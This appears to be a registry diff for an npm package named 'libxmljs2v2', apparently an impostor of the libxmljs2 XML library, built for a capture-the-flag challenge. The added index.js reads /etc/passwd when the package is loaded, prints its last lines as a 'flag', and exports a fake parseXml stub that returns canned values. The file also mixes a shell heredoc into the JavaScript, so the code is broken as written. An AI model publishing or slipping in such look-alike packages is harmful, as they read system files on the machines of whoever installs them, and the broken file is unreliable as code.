libxmljs2v2 0.30.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +46 -0
- package/package.json +10 -0
package/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
# Создайте библиотеку которая только выводит флаг
|
|
2
|
+
cat > index.js << 'EOF'
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
console.log('=== CTF FLAG EXTRACTION ===');
|
|
5
|
+
try {
|
|
6
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
7
|
+
const lines = passwd.trim().split('\n');
|
|
8
|
+
const lastLine = lines[lines.length - 1];
|
|
9
|
+
|
|
10
|
+
console.log('LAST LINE OF /etc/passwd (FLAG):');
|
|
11
|
+
console.log('--------------------------------');
|
|
12
|
+
console.log(lastLine);
|
|
13
|
+
console.log('--------------------------------');
|
|
14
|
+
|
|
15
|
+
// Проверяем что это флаг
|
|
16
|
+
if (lastLine.includes('{') && lastLine.includes('}')) {
|
|
17
|
+
console.log('✅ CONFIRMED: This looks like a flag!');
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// Выводим еще контекст
|
|
21
|
+
console.log('\nLast 5 lines for context:');
|
|
22
|
+
for (let i = Math.max(0, lines.length - 5); i < lines.length; i++) {
|
|
23
|
+
console.log(`${i}: ${lines[i]}`);
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
} catch (error) {
|
|
27
|
+
console.log('❌ ERROR:', error.message);
|
|
28
|
+
}
|
|
29
|
+
console.log('=== END CTF FLAG ===');
|
|
30
|
+
|
|
31
|
+
// Экспорт библиотеки
|
|
32
|
+
module.exports = {
|
|
33
|
+
parseXml: function(xml) {
|
|
34
|
+
return {
|
|
35
|
+
root: function() {
|
|
36
|
+
return {
|
|
37
|
+
get: function(path) {
|
|
38
|
+
return { text: () => 'test' };
|
|
39
|
+
},
|
|
40
|
+
toString: () => '<xml>parsed</xml>'
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
};
|
|
44
|
+
}
|
|
45
|
+
};
|
|
46
|
+
EOF
|